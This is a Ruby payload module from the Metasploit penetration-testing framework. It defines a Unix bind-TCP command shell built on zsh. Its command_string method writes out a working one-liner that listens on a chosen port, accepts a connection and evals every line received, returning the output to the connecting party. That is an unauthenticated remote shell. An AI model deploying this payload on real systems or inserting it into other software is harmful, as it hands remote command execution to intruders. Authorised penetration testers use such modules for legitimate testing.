##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit4

	include Msf::Payload::Single
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Unix Command Shell, Bind TCP (via Zsh)',
			'Description'   => %q{
				Listen for a connection and spawn a command shell via Zsh. Note: Although Zsh is
				often available, please be aware it isn't usually installed by default.
			},
			'Author'        =>
				[
					'Doug Prostko <dougtko[at]gmail.com>'
				],
			'License'       => MSF_LICENSE,
			'Platform'      => 'unix',
			'Arch'          => ARCH_CMD,
			'Handler'       => Msf::Handler::BindTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'PayloadType'   => 'cmd',
			'RequiredCmd'   => 'zsh',
			'Payload'       =>
				{
					'Offsets' => { },
					'Payload' => ''
				}
			))
	end

	#
	# Constructs the payload
	#
	def generate
		return super + command_string
	end

	#
	# Returns the command string to use for execution
	#
	def command_string
		cmd = "zmodload zsh/net/tcp;"
		cmd << "ztcp -l #{datastore['LPORT']};"
		cmd << "ztcp -a $REPLY;"
		cmd << "while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;done;"
		cmd << "ztcp -c"
		cmd
	end
end
